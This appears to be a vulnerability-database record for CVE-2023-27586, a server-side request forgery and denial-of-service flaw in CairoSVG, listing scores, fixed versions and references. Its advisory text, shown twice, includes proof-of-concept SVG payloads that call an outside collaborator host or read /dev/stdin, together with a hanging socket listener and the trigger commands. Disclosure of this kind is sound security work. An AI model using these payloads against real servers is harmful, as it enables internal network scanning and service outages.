{"id":"CVE-2023-27586","aliases":["ALPINE-CVE-2023-27586","DEBIAN-CVE-2023-27586","DSA-5382-1","EUVD-2023-0051","GHSA-rwmf-w63j-p7gv","MGASA-2023-0126","PYSEC-2023-9","UBUNTU-CVE-2023-27586","openSUSE-SU-2023:0260-1","openSUSE-SU-2023:0272-1","openSUSE-SU-2024:13218-1","openSUSE-SU-2026:11989-1"],"status":"published","title":"CairoSVG improperly processes SVG files loaded from external resources","description":"CairoSVG is an SVG converter based on Cairo, a 2D graphics library. Prior to version 2.7.0, Cairo can send requests to external hosts when processing SVG files. A malicious actor could send a specially crafted SVG file that allows them to perform a server-side request forgery or denial of service. Version 2.7.0 disables CairoSVG's ability to access other files online by default.","severity":{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:L","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00722,"percentile":0.54319,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-20","CWE-918"],"published":"2023-03-20T15:23:31Z","modified":"2026-11-06T13:50:02Z","fixes":[{"ecosystem":"PyPI","package":"cairosvg","fixed_in":["2.7.0"],"sources":["ghsa","osv"]},{"ecosystem":"Alpine:v3.18","package":"py3-cairosvg","fixed_in":["2.7.0-r0"],"sources":["osv"]},{"ecosystem":"Alpine:v3.19","package":"py3-cairosvg","fixed_in":["2.7.0-r0"],"sources":["osv"]},{"ecosystem":"Alpine:v3.20","package":"py3-cairosvg","fixed_in":["2.7.0-r0"],"sources":["osv"]},{"ecosystem":"Alpine:v3.21","package":"py3-cairosvg","fixed_in":["2.7.0-r0"],"sources":["osv"]},{"ecosystem":"Alpine:v3.22","package":"py3-cairosvg","fixed_in":["2.7.0-r0"],"sources":["osv"]},{"ecosystem":"Alpine:v3.23","package":"py3-cairosvg","fixed_in":["2.7.0-r0"],"sources":["osv"]},{"ecosystem":"Alpine:v3.24","package":"py3-cairosvg","fixed_in":["2.7.0-r0"],"sources":["osv"]},{"ecosystem":"Debian:12","package":"cairosvg","fixed_in":["2.5.2-1.1"],"sources":["osv"]},{"ecosystem":"Debian:13","package":"cairosvg","fixed_in":["2.5.2-1.1"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"cairosvg","fixed_in":["2.5.2-1.1"],"sources":["osv"]},{"ecosystem":"Debian:11","package":"cairosvg","fixed_in":["2.5.0-1.1+deb11u1"],"sources":["osv"]},{"ecosystem":"Mageia:8","package":"python-cairosvg","fixed_in":["2.5.1-1.2.mga8"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"cairosvg","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.7.0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.18","package":"py3-cairosvg","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.7.0-r0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.19","package":"py3-cairosvg","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.7.0-r0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.20","package":"py3-cairosvg","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.7.0-r0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.21","package":"py3-cairosvg","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.7.0-r0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.22","package":"py3-cairosvg","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.7.0-r0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.23","package":"py3-cairosvg","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.7.0-r0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.24","package":"py3-cairosvg","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.7.0-r0"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"cairosvg","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.5.2-1.1"}]}]},{"source":"osv","ecosystem":"Debian:13","package":"cairosvg","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.5.2-1.1"}]}]},{"source":"osv","ecosystem":"Debian:14","package":"cairosvg","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.5.2-1.1"}]}]},{"source":"osv","ecosystem":"Debian:11","package":"cairosvg","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.5.0-1.1+deb11u1"}]}],"versions":["2.5.0-1.1"]},{"source":"osv","ecosystem":"PyPI","package":"cairosvg","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.7.0"}]}],"versions":["0.1","0.1.1","0.1.2","0.2","0.3","0.3.1","0.4","0.4.1","0.4.2","0.4.3","0.4.4","0.5","1.0","1.0.1","1.0.10","1.0.11","1.0.12","1.0.13","1.0.14","1.0.15","1.0.16","1.0.17","1.0.18","1.0.19","1.0.2","1.0.20","1.0.21","1.0.22","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.0.8","1.0.9","2.0.0","2.0.0rc1","2.0.0rc2","2.0.0rc3","2.0.0rc4","2.0.0rc5","2.0.0rc6","2.0.1","2.0.2","2.0.3","2.1.0","2.1.1","2.1.2","2.1.3","2.2.0","2.2.1","2.3.0","2.3.1","2.4.0","2.4.1","2.4.2","2.5.0","2.5.1","2.5.2","2.6.0"]},{"source":"osv","ecosystem":"Mageia:8","package":"python-cairosvg","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.5.1-1.2.mga8"}]}]},{"source":"osv","ecosystem":"PyPI","package":"cairosvg","ranges":[{"type":"GIT","events":[{"introduced":"0"},{"fixed":"12d31c653c0254fa9d9853f66b04ea46e7397255"},{"fixed":"33007d4af9195e2bfb2ff9af064c4c2d8e4b2b53"}]},{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.7.0"}]}],"versions":["0.1","0.1.1","0.1.2","0.2","0.3","0.3.1","0.4","0.4.1","0.4.2","0.4.3","0.4.4","0.5","1.0","1.0.1","1.0.10","1.0.11","1.0.12","1.0.13","1.0.14","1.0.15","1.0.16","1.0.17","1.0.18","1.0.19","1.0.2","1.0.20","1.0.21","1.0.22","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.0.8","1.0.9","2.0.0","2.0.0rc1","2.0.0rc2","2.0.0rc3","2.0.0rc4","2.0.0rc5","2.0.0rc6","2.0.1","2.0.2","2.0.3","2.1.0","2.1.1","2.1.2","2.1.3","2.2.0","2.2.1","2.3.0","2.3.1","2.4.0","2.4.1","2.4.2","2.5.0","2.5.1","2.5.2","2.6.0"]},{"source":"osv","ecosystem":"Ubuntu:16.04:LTS","package":"cairosvg","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.0.16-1","1.0.17-1","1.0.19-1"]},{"source":"osv","ecosystem":"Ubuntu:18.04:LTS","package":"cairosvg","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.0.20-1"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"cairosvg","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.4.0-2","2.4.2-1"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"cairosvg","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.5.0-1.1","2.5.2-1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"cairosvg","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.7.1-1","2.7.1-2"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"cairosvg","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.8.2-1","2.9.0-1","2.9.0-2"]},{"source":"osv","ecosystem":"SUSE:Package Hub 15 SP5","package":"python-CairoSVG","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.5.2-bp155.3.3.1"}]}],"bundled":2},{"source":"osv","ecosystem":"openSUSE:Leap 15.5","package":"python-CairoSVG","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.5.2-bp155.3.3.1"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:Package Hub 15 SP4","package":"python-CairoSVG","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.5.2-bp154.2.3.1"}]}],"bundled":2},{"source":"osv","ecosystem":"openSUSE:Leap 15.4","package":"python-CairoSVG","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.5.2-bp154.2.3.1"}]}],"bundled":2},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-CairoSVG","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.9.0-1.3"}]}],"bundled":2}],"products":[{"vendor":"courtbouillon","product":"cairosvg"},{"vendor":"kozea","product":"cairosvg"}],"references":[{"url":"https://github.com/Kozea/CairoSVG/security/advisories/GHSA-rwmf-w63j-p7gv","tags":["x_refsource_CONFIRM","x_transferred","Vendor Advisory","advisory","web","report"]},{"url":"https://github.com/Kozea/CairoSVG/commit/12d31c653c0254fa9d9853f66b04ea46e7397255","tags":["x_refsource_MISC","x_transferred","Patch","fix","web","report"]},{"url":"https://github.com/Kozea/CairoSVG/commit/33007d4af9195e2bfb2ff9af064c4c2d8e4b2b53","tags":["x_refsource_MISC","x_transferred","Patch","fix","web","report"]},{"url":"https://github.com/Kozea/CairoSVG/releases/tag/2.7.0","tags":["x_refsource_MISC","x_transferred","Release Notes","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-27586","tags":["advisory"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/cairosvg/PYSEC-2023-9.yaml","tags":["web"]},{"url":"https://github.com/advisories/GHSA-rwmf-w63j-p7gv"},{"url":"https://security.alpinelinux.org/vuln/CVE-2023-27586","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2023/27xxx/CVE-2023-27586.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2023-27586","tags":["advisory"]},{"url":"https://github.com/Kozea/CairoSVG","tags":["package"]},{"url":"https://advisories.mageia.org/MGASA-2023-0126.html","tags":["advisory"]},{"url":"https://bugs.mageia.org/show_bug.cgi?id=31730","tags":["report"]},{"url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/thread/5HDBMOMLE6GFKXPLKIWFWM2Q6V4DQKXP/","tags":["web"]},{"url":"https://ubuntu.com/security/CVE-2023-27586","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2023-27586","tags":["report"]},{"url":"https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/2GIY4HBHI7WUBHUAMEZKWBMEPOUYNCTU/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1180648","tags":["report"]},{"url":"https://bugzilla.suse.com/1209538","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2021-21236","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2023-27586","tags":["web"]},{"url":"https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/74KEOEJKIQ5UHFG7M5KN7X37WT37PVYX/","tags":["advisory"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2023-27586","title":"CairoSVG improperly processes SVG files loaded from external resources","description":"CairoSVG is an SVG converter based on Cairo, a 2D graphics library. Prior to version 2.7.0, Cairo can send requests to external hosts when processing SVG files. A malicious actor could send a specially crafted SVG file that allows them to perform a server-side request forgery or denial of service. Version 2.7.0 disables CairoSVG's ability to access other files online by default.","status":"published","published":"2023-03-20T15:23:31.106Z","modified":"2025-02-25T14:52:14.7Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:L","level":"critical","assessor":"cna"}],"cwes":["CWE-20","CWE-918"],"updated_at":"2026-11-02T14:35:26.63732Z"}],"euvd":[{"id":"EUVD-2023-0051","description":"CairoSVG is an SVG converter based on Cairo, a 2D graphics library. Prior to version 2.7.0, Cairo can send requests to external hosts when processing SVG files. A malicious actor could send a specially crafted SVG file that allows them to perform a server-side request forgery or denial of service. Version 2.7.0 disables CairoSVG's ability to access other files online by default.","status":"published","published":"2023-03-20T15:23:31Z","modified":"2025-02-25T14:52:14Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:L","level":"critical"}],"updated_at":"2026-11-02T20:53:24.646946Z"}],"ghsa":[{"id":"GHSA-rwmf-w63j-p7gv","title":"CairoSVG improperly processes SVG files loaded from external resources","description":"# SSRF vulnerability\n\n## Summary\nWhen CairoSVG processes an SVG file, it can make requests to the inner host and different outside hosts.\n\n## Operating system, version and so on\nLinux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9\n\n## Tested CairoSVG version\n2.6.0\n\n## Details\nA specially crafted SVG file that loads an external resource from a URL. Remote attackers could exploit this vulnerability to cause a scan of an organization's internal resources or a DDOS attack on external resources.\nIt looks like this bug can affect websites and cause request forgery on the server.\n\n## PoC\n1. Generating malicious svg file:\n1.1 CairoSVG_exploit.svg:\n```svg\n\u003c?xml version=\"1.0\" standalone=\"yes\"?\u003e\n    \u003c!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"\u003e\n    \u003csvg width=\"128px\" height=\"128px\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" version=\"1.1\"\u003e\n    \u003cimage height=\"200\" width=\"200\" xlink:href=\"http://[jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com](http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com/)/3\" /\u003e\n    \u003cstyle type=\"text/css\"\u003e@import url(\"http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com/5\");\u003c/style\u003e\n    \u003cstyle type=\"text/css\"\u003e\n         \u003c![CDATA[\n            @import url(\"http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com:80/9\");\n            rect { fill: red; stroke: blue; stroke-width: 3 }\n         ]]\u003e\n    \u003c/style\u003e\n\u003c/svg\u003e\n```\n\n1.2 CairoSVG_exploit_2.svg:\n```svg\n\u003c?xml version=\"1.0\" standalone=\"yes\"?\u003e\n    \u003c!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"\u003e\n    \u003csvg width=\"128px\" height=\"128px\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" version=\"1.1\"\u003e\n    \u003cdefs\u003e\n        \u003cpattern id=\"img1\" patternUnits=\"userSpaceOnUse\" width=\"600\" height=\"450\"\u003e\n            \u003cimage xlink:href=\"http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com:80/11\" x=\"0\" y=\"0\" width=\"600\" height=\"450\" /\u003e\n        \u003c/pattern\u003e\n    \u003c/defs\u003e\n    \u003cpath d=\"M5,50 l0,100 l100,0 l0,-100 l-100,0 M215,100 a50,50 0 1 1 -100,0 50,50 0 1 1 100,0 M265,50 l50,100 l-100,0 l50,-100 z\" fill=\"url(#img1)\" /\u003e\n\u003c/svg\u003e\n```\n\n1.3 CairoSVG_exploit_3.svg:\n```svg\n\u003c?xml version=\"1.0\" standalone=\"yes\"?\u003e\n    \u003c!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"\u003e\n    \u003csvg width=\"128px\" height=\"128px\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" version=\"1.1\"\u003e\n    \u003cuse href=\"http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com:80/13\" /\u003e\n\u003c/svg\u003e\n```\n\n2. Run some commands:\n`$ python3 -m cairosvg CairoSVG_exploit.svg -f png`\n`$ python3 -m cairosvg CairoSVG_exploit_2.svg -f png`\n`$ python3 -m cairosvg CairoSVG_exploit_3.svg -f png `\n\n3. See result requests in Burp Collaborator:\n![1](https://user-images.githubusercontent.com/952243/224340068-547b1d9a-5513-48a5-9cdf-b34b693f80c2.png)\n\n\n\n# DOS vulnerability with SSTI\n\n## Summary\nWhen CairoSVG processes an SVG file, it can send requests to external hosts and wait for a response from the external server after a successful TCP handshake. This will cause the server to hang.\nIt seems this bug can affect websites or servers and cause a complete freeze while uploading this PoC file to the server.\n\n## Operating system, version and so on\nLinux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9\n\n## Tested CairoSVG version\n2.6.0\n\n## PoC\n1. Generating malicious svg file:\n\n```svg\n\u003c?xml version=\"1.0\" standalone=\"yes\"?\u003e\n    \u003c!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"\u003e\n    \u003csvg width=\"128px\" height=\"128px\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" version=\"1.1\"\u003e\n    \u003cuse href=\"http://192.168.56.1:1234/\" /\u003e\n\u003c/svg\u003e\n```\n\n2. In other server run this python program:\n\n```python\nimport socket\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.bind(('0.0.0.0', 1234))\ns.listen(1)\nconn, addr = s.accept()\nwith conn:\n    while True:\n        data = conn.recv(2048)\ns.close()\n```\n\n3. Run commands:\n`$timeout 60 python3 -m cairosvg CairoSVG_exploit_dos.svg -f png`\n(without timeout server will hang forever)\n\n\n# DOS vulnerability with stdin file descriptor\n\n## Summary\n\nSpecially crafted SVG file that opens /proc/self/fd/1 or /dev/stdin results in a hang with a tiny PoC file. Remote attackers could leverage this vulnerability to cause a denial of service via a crafted SVG file.\nIt seems this bug can affect websites or servers and cause a complete freeze while uploading this PoC file to the server.\n\n## Operating system, version and so on\nLinux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9\n\n## Tested CairoSVG version\n2.6.0\n\n## PoC\n1. Generating malicious svg file:\n\n```svg\n\u003c?xml version=\"1.0\" standalone=\"yes\"?\u003e\n    \u003c!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"\u003e\n    \u003csvg width=\"128px\" height=\"128px\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" version=\"1.1\"\u003e\n    \u003cuse href=\"file:///dev/stdin\" /\u003e\n\u003c/svg\u003e\n```\n\n2. In other server run this python program:\n```python\nimport socket\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.bind(('0.0.0.0', 1234))\ns.listen(1)\nconn, addr = s.accept()\nwith conn:\n    while True:\n        data = conn.recv(2048)\ns.close()\n```\n\n3. Run commands:\n`$timeout 60 python3 -m cairosvg cariosvg_exploit_dos.svg -f png`","status":"published","published":"2023-03-20T21:27:15Z","modified":"2024-11-18T16:26:29Z","cvss":[{"version":"4.0","score":7.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:L","level":"high"},{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:L","level":"critical"}],"cwes":["CWE-20","CWE-918"],"updated_at":"2026-11-02T14:38:19.029049Z"}],"nvd":[{"id":"CVE-2023-27586","description":"CairoSVG is an SVG converter based on Cairo, a 2D graphics library. Prior to version 2.7.0, Cairo can send requests to external hosts when processing SVG files. A malicious actor could send a specially crafted SVG file that allows them to perform a server-side request forgery or denial of service. Version 2.7.0 disables CairoSVG's ability to access other files online by default.","status":"published","published":"2023-03-20T16:15:13.197Z","modified":"2026-06-17T05:45:31.563Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:L","level":"critical","assessor":"secondary"},{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-20","CWE-918"],"updated_at":"2026-11-02T14:07:49.031498Z"}],"osv":[{"id":"ALPINE-CVE-2023-27586","description":"CairoSVG is an SVG converter based on Cairo, a 2D graphics library. Prior to version 2.7.0, Cairo can send requests to external hosts when processing SVG files. A malicious actor could send a specially crafted SVG file that allows them to perform a server-side request forgery or denial of service. Version 2.7.0 disables CairoSVG's ability to access other files online by default.","status":"published","published":"2023-03-20T16:15:13.197Z","modified":"2026-11-03T06:32:48.341650865Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H","level":"high"}],"updated_at":"2026-11-03T07:16:46.202932Z"},{"id":"CVE-2023-27586","title":"CairoSVG improperly processes SVG files loaded from external resources","description":"CairoSVG is an SVG converter based on Cairo, a 2D graphics library. Prior to version 2.7.0, Cairo can send requests to external hosts when processing SVG files. A malicious actor could send a specially crafted SVG file that allows them to perform a server-side request forgery or denial of service. Version 2.7.0 disables CairoSVG's ability to access other files online by default.","status":"published","published":"2023-03-20T15:23:31.106Z","modified":"2026-11-11T02:30:44.295875992Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:L","level":"critical"}],"cwes":["CWE-20","CWE-918"],"updated_at":"2026-11-11T02:50:43.46164Z"},{"id":"DEBIAN-CVE-2023-27586","description":"CairoSVG is an SVG converter based on Cairo, a 2D graphics library. Prior to version 2.7.0, Cairo can send requests to external hosts when processing SVG files. A malicious actor could send a specially crafted SVG file that allows them to perform a server-side request forgery or denial of service. Version 2.7.0 disables CairoSVG's ability to access other files online by default.","status":"published","published":"2023-03-20T16:15:13.197Z","modified":"2026-10-26T18:01:39.163529358Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:45:39.679062Z"},{"id":"GHSA-rwmf-w63j-p7gv","title":"CairoSVG improperly processes SVG files loaded from external resources","description":"# SSRF vulnerability\n\n## Summary\nWhen CairoSVG processes an SVG file, it can make requests to the inner host and different outside hosts.\n\n## Operating system, version and so on\nLinux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9\n\n## Tested CairoSVG version\n2.6.0\n\n## Details\nA specially crafted SVG file that loads an external resource from a URL. Remote attackers could exploit this vulnerability to cause a scan of an organization's internal resources or a DDOS attack on external resources.\nIt looks like this bug can affect websites and cause request forgery on the server.\n\n## PoC\n1. Generating malicious svg file:\n1.1 CairoSVG_exploit.svg:\n```svg\n\u003c?xml version=\"1.0\" standalone=\"yes\"?\u003e\n    \u003c!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"\u003e\n    \u003csvg width=\"128px\" height=\"128px\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" version=\"1.1\"\u003e\n    \u003cimage height=\"200\" width=\"200\" xlink:href=\"http://[jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com](http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com/)/3\" /\u003e\n    \u003cstyle type=\"text/css\"\u003e@import url(\"http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com/5\");\u003c/style\u003e\n    \u003cstyle type=\"text/css\"\u003e\n         \u003c![CDATA[\n            @import url(\"http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com:80/9\");\n            rect { fill: red; stroke: blue; stroke-width: 3 }\n         ]]\u003e\n    \u003c/style\u003e\n\u003c/svg\u003e\n```\n\n1.2 CairoSVG_exploit_2.svg:\n```svg\n\u003c?xml version=\"1.0\" standalone=\"yes\"?\u003e\n    \u003c!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"\u003e\n    \u003csvg width=\"128px\" height=\"128px\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" version=\"1.1\"\u003e\n    \u003cdefs\u003e\n        \u003cpattern id=\"img1\" patternUnits=\"userSpaceOnUse\" width=\"600\" height=\"450\"\u003e\n            \u003cimage xlink:href=\"http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com:80/11\" x=\"0\" y=\"0\" width=\"600\" height=\"450\" /\u003e\n        \u003c/pattern\u003e\n    \u003c/defs\u003e\n    \u003cpath d=\"M5,50 l0,100 l100,0 l0,-100 l-100,0 M215,100 a50,50 0 1 1 -100,0 50,50 0 1 1 100,0 M265,50 l50,100 l-100,0 l50,-100 z\" fill=\"url(#img1)\" /\u003e\n\u003c/svg\u003e\n```\n\n1.3 CairoSVG_exploit_3.svg:\n```svg\n\u003c?xml version=\"1.0\" standalone=\"yes\"?\u003e\n    \u003c!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"\u003e\n    \u003csvg width=\"128px\" height=\"128px\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" version=\"1.1\"\u003e\n    \u003cuse href=\"http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com:80/13\" /\u003e\n\u003c/svg\u003e\n```\n\n2. Run some commands:\n`$ python3 -m cairosvg CairoSVG_exploit.svg -f png`\n`$ python3 -m cairosvg CairoSVG_exploit_2.svg -f png`\n`$ python3 -m cairosvg CairoSVG_exploit_3.svg -f png `\n\n3. See result requests in Burp Collaborator:\n![1](https://user-images.githubusercontent.com/952243/224340068-547b1d9a-5513-48a5-9cdf-b34b693f80c2.png)\n\n\n\n# DOS vulnerability with SSTI\n\n## Summary\nWhen CairoSVG processes an SVG file, it can send requests to external hosts and wait for a response from the external server after a successful TCP handshake. This will cause the server to hang.\nIt seems this bug can affect websites or servers and cause a complete freeze while uploading this PoC file to the server.\n\n## Operating system, version and so on\nLinux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9\n\n## Tested CairoSVG version\n2.6.0\n\n## PoC\n1. Generating malicious svg file:\n\n```svg\n\u003c?xml version=\"1.0\" standalone=\"yes\"?\u003e\n    \u003c!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"\u003e\n    \u003csvg width=\"128px\" height=\"128px\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" version=\"1.1\"\u003e\n    \u003cuse href=\"http://192.168.56.1:1234/\" /\u003e\n\u003c/svg\u003e\n```\n\n2. In other server run this python program:\n\n```python\nimport socket\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.bind(('0.0.0.0', 1234))\ns.listen(1)\nconn, addr = s.accept()\nwith conn:\n    while True:\n        data = conn.recv(2048)\ns.close()\n```\n\n3. Run commands:\n`$timeout 60 python3 -m cairosvg CairoSVG_exploit_dos.svg -f png`\n(without timeout server will hang forever)\n\n\n# DOS vulnerability with stdin file descriptor\n\n## Summary\n\nSpecially crafted SVG file that opens /proc/self/fd/1 or /dev/stdin results in a hang with a tiny PoC file. Remote attackers could leverage this vulnerability to cause a denial of service via a crafted SVG file.\nIt seems this bug can affect websites or servers and cause a complete freeze while uploading this PoC file to the server.\n\n## Operating system, version and so on\nLinux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9\n\n## Tested CairoSVG version\n2.6.0\n\n## PoC\n1. Generating malicious svg file:\n\n```svg\n\u003c?xml version=\"1.0\" standalone=\"yes\"?\u003e\n    \u003c!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"\u003e\n    \u003csvg width=\"128px\" height=\"128px\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" version=\"1.1\"\u003e\n    \u003cuse href=\"file:///dev/stdin\" /\u003e\n\u003c/svg\u003e\n```\n\n2. In other server run this python program:\n```python\nimport socket\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.bind(('0.0.0.0', 1234))\ns.listen(1)\nconn, addr = s.accept()\nwith conn:\n    while True:\n        data = conn.recv(2048)\ns.close()\n```\n\n3. Run commands:\n`$timeout 60 python3 -m cairosvg cariosvg_exploit_dos.svg -f 